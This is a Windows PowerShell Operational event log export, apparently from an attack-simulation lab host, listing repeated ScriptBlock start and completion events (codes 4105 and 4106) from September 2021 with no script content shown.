Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029693
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029692
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029691
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029690
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029674
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029673
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029668
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029667
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029645
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029644
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
